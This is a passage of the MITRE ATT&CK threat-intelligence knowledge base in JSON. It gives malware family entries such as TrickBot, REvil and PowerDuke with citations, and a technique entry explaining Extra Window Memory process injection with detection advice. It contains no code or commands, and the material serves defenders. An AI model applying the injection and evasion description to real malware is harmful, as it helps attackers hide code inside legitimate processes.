            "name": "TrickBot",
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) was developed and initially used by [Wizard Spider](https://attack.mitre.org/groups/G0102) for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of \"big game hunting\" ransomware campaigns.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: CrowdStrike Wizard Spider October 2020)",
            "is_family": true,
            "x_mitre_platforms": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_contributors": [
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            "id": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/software/S0266",
                    "external_id": "S0266"
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                {
                    "source_name": "TrickBot",
                    "description": "(Citation: S2 Grupo TrickBot June 2017) (Citation: Trend Micro Totbrick Oct 2016) (Citation: TrendMicro Trickbot Feb 2019)"
                },
                {
                    "source_name": "TSPY_TRICKLOAD",
                    "description": "(Citation: Trend Micro Totbrick Oct 2016)"
                },
                {
                    "source_name": "Totbrick",
                    "description": "(Citation: Trend Micro Totbrick Oct 2016) (Citation: Microsoft Totbrick Oct 2017)"
                },
                {
                    "source_name": "Trend Micro Totbrick Oct 2016",
                    "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n"
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                {
                    "source_name": "IBM TrickBot Nov 2016",
                    "description": "Keshet, L. (2016, November 09). Tricks of the Trade: A Deeper Look Into TrickBot\u2019s Machinations. Retrieved August 2, 2018.",
                    "url": "https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/"
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                {
                    "source_name": "TrendMicro Trickbot Feb 2019",
                    "description": "Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/"
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                    "source_name": "CrowdStrike Wizard Spider October 2020",
                    "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.",
                    "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/"
                },
                {
                    "source_name": "Microsoft Totbrick Oct 2017",
                    "description": "Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.",
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick"
                },
                {
                    "source_name": "Fidelis TrickBot Oct 2016",
                    "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.",
                    "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre"
                },
                {
                    "source_name": "S2 Grupo TrickBot June 2017",
                    "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.",
                    "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"
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            "object_marking_refs": [
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            "created": "2025-02-19T20:07:23.223Z",
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                    "external_id": "S1204"
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                {
                    "source_name": "Lumen J-Magic JAN 2025",
                    "description": "Black Lotus Labs. (2025, January 23). The J-Magic Show: Magic Packets and Where to find them. Retrieved February 17, 2025.",
                    "url": "https://blog.lumen.com/the-j-magic-show-magic-packets-and-where-to-find-them/"
                },
                {
                    "source_name": "Hartrell cd00r 2002",
                    "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.",
                    "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631"
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                    "url": "https://attack.mitre.org/software/S0139",
                    "external_id": "S0139"
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                {
                    "source_name": "PowerDuke",
                    "description": "(Citation: Volexity PowerDuke November 2016)"
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                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
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            "modified": "2025-04-25T14:42:30.325Z",
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            "description": "[PowerDuke](https://attack.mitre.org/software/S0139) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)",
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            "id": "malware--00e7d565-9883-4ee5-b642-8fd17fd6a3f5",
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                {
                    "source_name": "EKANS",
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                {
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                    "description": "(Citation: FireEye Ransomware Feb 2020)"
                },
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                    "source_name": "Dragos EKANS",
                    "description": "Dragos. (2020, February 3). EKANS Ransomware and ICS Operations. Retrieved February 9, 2021.",
                    "url": "https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/"
                },
                {
                    "source_name": "Palo Alto Unit 42 EKANS",
                    "description": "Hinchliffe, A. Santos, D. (2020, June 26). Threat Assessment: EKANS Ransomware. Retrieved February 9, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/threat-assessment-ekans-ransomware/"
                },
                {
                    "source_name": "FireEye Ransomware Feb 2020",
                    "description": "Zafra, D., et al. (2020, February 24). Ransomware Against the Machine: How Adversaries are Learning to Disrupt Industrial Production by Targeting IT and OT. Retrieved March 2, 2021.",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/02/ransomware-against-machine-learning-to-disrupt-industrial-production.html"
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                    "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.",
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                    "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.",
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                    "description": "Kremez, V. (2019, September 19). FIN6 \u201cFrameworkPOS\u201d: Point-of-Sale Malware Analysis & Internals. Retrieved September 8, 2020.",
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                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
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                    "source_name": "Mandiant Cutting Edge Part 3 February 2024",
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                    "source_name": "Mandiant Cutting Edge Part 2 January 2024",
                    "description": "Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.",
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                    "source_name": "SentinelLabs reversing run-only applescripts 2021",
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            "description": "[HAMMERTOSS](https://attack.mitre.org/software/S0037) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)",
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                    "description": "(Citation: Trend Micro Banking Malware Jan 2019)(Citation: Kaspersky Emotet Jan 2019)(Citation: CIS Emotet Apr 2017)(Citation: Malwarebytes Emotet Dec 2017)(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: ESET Emotet Nov 2018)(Citation: Secureworks Emotet Nov 2018)(Citation: Talos Emotet Jan 2019)(Citation: Trend Micro Emotet Jan 2019)(Citation: CIS Emotet Dec 2018)(Citation: Picus Emotet Dec 2018)(Citation: Red Canary Emotet Feb 2019) "
                },
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                    "source_name": "Geodo",
                    "description": "(Citation: Trend Micro Emotet Jan 2019)"
                },
                {
                    "source_name": "Talos Emotet Jan 2019",
                    "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.",
                    "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html"
                },
                {
                    "source_name": "CIS Emotet Apr 2017",
                    "description": "CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. Retrieved January 17, 2019.",
                    "url": "https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/"
                },
                {
                    "source_name": "CIS Emotet Dec 2018",
                    "description": "CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019.",
                    "url": "https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/"
                },
                {
                    "source_name": "Red Canary Emotet Feb 2019",
                    "description": "Donohue, B.. (2019, February 13). https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/. Retrieved March 25, 2019.",
                    "url": "https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/"
                },
                {
                    "source_name": "ESET Emotet Nov 2018",
                    "description": "ESET . (2018, November 9). Emotet launches major new spam campaign. Retrieved March 25, 2019.",
                    "url": "https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/"
                },
                {
                    "source_name": "Secureworks Emotet Nov 2018",
                    "description": "Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.",
                    "url": "https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader"
                },
                {
                    "source_name": "Picus Emotet Dec 2018",
                    "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.",
                    "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html"
                },
                {
                    "source_name": "Trend Micro Banking Malware Jan 2019",
                    "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/"
                },
                {
                    "source_name": "Kaspersky Emotet Jan 2019",
                    "description": "Shulmin, A. . (2015, April 9). The Banking Trojan Emotet: Detailed Analysis. Retrieved March 25, 2019.",
                    "url": "https://securelist.com/the-banking-trojan-emotet-detailed-analysis/69560/"
                },
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                    "source_name": "Malwarebytes Emotet Dec 2017",
                    "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019.",
                    "url": "https://support.malwarebytes.com/docs/DOC-2295"
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                {
                    "source_name": "Symantec Emotet Jul 2018",
                    "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.",
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                    "source_name": "Trend Micro Emotet Jan 2019",
                    "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.",
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                {
                    "source_name": "US-CERT Emotet Jul 2018",
                    "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.",
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                    "description": "Scott Henderson, Cristiana Kittner, Sarah Hawley & Mark Lechtik, Google Cloud. (2023, January 19). Suspected Chinese Threat Actors Exploiting FortiOS Vulnerability (CVE-2022-42475). Retrieved December 31, 2024.",
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            "description": "[DUSTTRAP](https://attack.mitre.org/software/S1159) is a multi-stage plugin framework associated with [APT41](https://attack.mitre.org/groups/G0096) operations with multiple components.(Citation: Google Cloud APT41 2024)",
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                    "source_name": "Fidelis Hi-Zor",
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            "description": "[ISMInjector](https://attack.mitre.org/software/S0189) is a Trojan used to install another [OilRig](https://attack.mitre.org/groups/G0049) backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)",
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                    "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.",
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                    "description": "Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018.",
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            "description": "[CORESHELL](https://attack.mitre.org/software/S0137) is a downloader used by [APT28](https://attack.mitre.org/groups/G0007). The older versions of this malware are known as SOURFACE and newer versions as CORESHELL.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)",
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                    "description": "This designation has been used in reporting both to refer to the threat group ([APT28](https://attack.mitre.org/groups/G0007)) and its associated malware.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)(Citation: Securelist Sofacy Feb 2018)"
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                    "description": "(Citation: SentinelOne EvilQuest Ransomware Spyware 2020)"
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                    "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021.",
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                    "source_name": "SentinelOne EvilQuest Ransomware Spyware 2020",
                    "description": "Phil Stokes. (2020, July 8). \u201cEvilQuest\u201d Rolls Ransomware, Spyware & Data Theft Into One. Retrieved April 1, 2021.",
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                    "source_name": "Reed thiefquest fake ransom",
                    "description": "Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 18, 2021.",
                    "url": "https://blog.malwarebytes.com/detections/osx-thiefquest/"
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                    "source_name": "reed thiefquest ransomware analysis",
                    "description": "Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021.",
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                    "description": "Robert Falcone, Jeff White, and Peter Renals. (2021, November 7). Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer. Retrieved February 8, 2024.",
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                    "source_name": "FireEye CARBANAK June 2017",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
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                    "description": "Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.",
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                    "source_name": "XTunnel",
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                    "description": "Falcone, R. & Miller-Osborn, J. (2015, September 23). Chinese Actors Use \u20183102\u2019 Malware in Attacks on US Government and EU Media. Retrieved March 19, 2018.",
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                    "description": "Huss, D. & Mesa, M. (2017, August 25). Operation RAT Cook: Chinese APT actors use fake Game of Thrones leaks as lures. Retrieved March 19, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures"
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                    "description": "Moran, N. (2013, May 20). Ready for Summer: The Sunshop Campaign. Retrieved November 17, 2024.",
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                    "description": "Moran, N. et al.. (2013, November 10). Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method. Retrieved November 17, 2024.",
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                    "description": "Yamout, M. (2021, November 29). WIRTE\u2019s campaign in the Middle East \u2018living off the land\u2019 since at least 2019. Retrieved February 1, 2022.",
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                    "description": "Morales, N. et al. (2023, February 20). Royal Ransomware Expands Attacks by Targeting Linux ESXi Servers. Retrieved March 30, 2023.",
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                    "url": "https://www.microsoft.com/en-us/security/blog/2022/11/17/dev-0569-finds-new-ways-to-deliver-royal-ransomware-various-payloads/"
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            "description": "[VBShower](https://attack.mitre.org/software/S0442) is a backdoor that has been used by [Inception](https://attack.mitre.org/groups/G0100) since at least 2019. [VBShower](https://attack.mitre.org/software/S0442) has been used as a downloader for second stage payloads, including [PowerShower](https://attack.mitre.org/software/S0441).(Citation: Kaspersky Cloud Atlas August 2019)",
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                    "source_name": "Sandfly BPFDoor 2022",
                    "description": "The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.",
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                    "description": "Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.",
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                    "source_name": "Microsoft Albanian Government Attacks September 2022",
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                    "description": "Mohammad Kazem Hassan Nejad, WithSecure. (2024, April 17). KAPEKA A novel backdoor spotted in Eastern Europe. Retrieved January 6, 2025.",
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                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
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            "name": "Unknown Logger",
            "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. (Citation: Forcepoint Monsoon)",
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            "name": "REvil",
            "description": "[REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496), which as been used against organizations in the manufacturing, transportation, and electric sectors, is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)",
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                    "source_name": "Sodin",
                    "description": "(Citation: Intel 471 REvil March 2020)(Citation: Kaspersky Sodin July 2019)"
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                    "description": "(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: G Data Sodinokibi June 2019)(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: McAfee REvil October 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)(Citation: Tetra Defense Sodinokibi March 2020)"
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                    "source_name": "Talos Sodinokibi April 2019",
                    "description": "Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020.",
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                    "source_name": "Secureworks REvil September 2019",
                    "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020.",
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                },
                {
                    "source_name": "Cylance Sodinokibi July 2019",
                    "description": "Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020.",
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                {
                    "source_name": "Group IB Ransomware May 2020",
                    "description": "Group IB. (2020, May). Ransomware Uncovered: Attackers\u2019 Latest Methods. Retrieved August 5, 2020.",
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                {
                    "source_name": "G Data Sodinokibi June 2019",
                    "description": "Han, Karsten. (2019, June 4). Strange Bits: Sodinokibi Spam, CinaRAT, and Fake G DATA. Retrieved August 4, 2020.",
                    "url": "https://www.gdatasoftware.com/blog/2019/06/31724-strange-bits-sodinokibi-spam-cinarat-and-fake-g-data"
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                {
                    "source_name": "Intel 471 REvil March 2020",
                    "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020.",
                    "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/"
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                    "source_name": "Kaspersky Sodin July 2019",
                    "description": "Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020.",
                    "url": "https://securelist.com/sodin-ransomware/91473/"
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                {
                    "source_name": "McAfee Sodinokibi October 2019",
                    "description": "McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 What The Code Tells Us. Retrieved August 4, 2020.",
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                    "source_name": "Picus Sodinokibi January 2020",
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                    "description": "Saavedra-Morales, J, et al. (2019, October 20). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 Crescendo. Retrieved August 5, 2020.",
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                {
                    "source_name": "Secureworks GandCrab and REvil September 2019",
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                    "source_name": "Tetra Defense Sodinokibi March 2020",
                    "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved November 17, 2024.",
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            "id": "malware--ade37ada-14af-4b44-b36c-210eec255d53",
            "created": "2020-06-19T17:11:54.854Z",
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                    "external_id": "S0476"
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                {
                    "source_name": "Unit 42 Valak July 2020",
                    "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/valak-evolution/"
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                {
                    "source_name": "Cybereason Valak May 2020",
                    "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020.",
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            "description": "[Valak](https://attack.mitre.org/software/S0476) is a multi-stage modular malware that can function as a standalone information stealer or downloader, first observed in 2019 targeting enterprises in the US and Germany.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)",
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            "x_mitre_domains": [
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                    "external_id": "S1099"
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                {
                    "source_name": "Kaspersky ToddyCat June 2022",
                    "description": "Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.",
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                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
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            "description": "[PinchDuke](https://attack.mitre.org/software/S0048) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2008 to 2010. (Citation: F-Secure The Dukes)",
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            "description": "[Milan](https://attack.mitre.org/software/S1015) is a backdoor implant based on [DanBot](https://attack.mitre.org/software/S1014) that was written in Visual C++ and .NET. [Milan](https://attack.mitre.org/software/S1015) has been used by [HEXANE](https://attack.mitre.org/groups/G1001) since at least June 2020.(Citation: ClearSky Siamesekitten August 2021)(Citation: Kaspersky Lyceum October 2021)",
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                    "external_id": "S1015"
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                {
                    "source_name": "James",
                    "description": "(Citation: Accenture Lyceum Targets November 2021)"
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                    "source_name": "Accenture Lyceum Targets November 2021",
                    "description": "Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022.",
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                {
                    "source_name": "ClearSky Siamesekitten August 2021",
                    "description": "ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By \u201cSiamesekitten\u201d - Lyceum. Retrieved June 6, 2022.",
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                {
                    "source_name": "Kaspersky Lyceum October 2021",
                    "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.",
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            "name": "USBStealer",
            "description": "[USBStealer](https://attack.mitre.org/software/S0136) is malware that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)",
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            "x_mitre_platforms": [
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            "x_mitre_domains": [
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                    "external_id": "S0136"
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                    "source_name": "ESET Sednit USBStealer 2014",
                    "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
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                },
                {
                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
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            "name": "OSX_OCEANLOTUS.D",
            "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) is a macOS backdoor used by [APT32](https://attack.mitre.org/groups/G0050). First discovered in 2015, [APT32](https://attack.mitre.org/groups/G0050) has continued to make improvements using a plugin architecture to extend capabilities, specifically using `.dylib` files. [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can also determine it's permission level and execute according to access type (`root` or `user`).(Citation: Unit42 OceanLotus 2017)(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)",
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            "x_mitre_platforms": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_aliases": [
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            "id": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29",
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                    "url": "https://attack.mitre.org/software/S0352",
                    "external_id": "S0352"
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                {
                    "source_name": "Backdoor.MacOS.OCEANLOTUS.F",
                    "description": "(Citation: Trend Micro MacOS Backdoor November 2020)"
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                {
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                    "description": "(Citation: TrendMicro MacOS April 2018)"
                },
                {
                    "source_name": "Unit42 OceanLotus 2017",
                    "description": "Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"
                },
                {
                    "source_name": "TrendMicro MacOS April 2018",
                    "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/"
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                    "description": "(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)"
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                    "source_name": "FireEye Njw0rm Aug 2013",
                    "description": "Dawda, U. and Villeneuve, N. (2013, August 30). Njw0rm - Brother From the Same Mother. Retrieved November 17, 2024.",
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                    "source_name": "Trend Micro njRAT 2018",
                    "description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.",
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                    "source_name": "Mandiant Cutting Edge January 2024",
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                    "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.",
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                    "source_name": "Mandiant Suspected Turla Campaign February 2023",
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                    "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.",
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                    "source_name": "Microsoft SetWindowLong function",
                    "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "MalwareTech Power Loader Aug 2013",
                    "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
                    "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"
                },
                {
                    "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
                    "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
                    "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
                },
                {
                    "source_name": "Microsoft SendNotifyMessage function",
                    "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx"
                }
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            "modified": "2025-04-25T14:45:37.275Z",
            "name": "Extra Window Memory Injection",
            "description": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.  (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)",
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "created": "2019-11-27T14:58:00.429Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1053/005",
                    "external_id": "T1053.005"
                },
                {
                    "source_name": "ProofPoint Serpent",
                    "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain"
                },
                {
                    "source_name": "Defending Against Scheduled Task Attacks in Windows Environments",
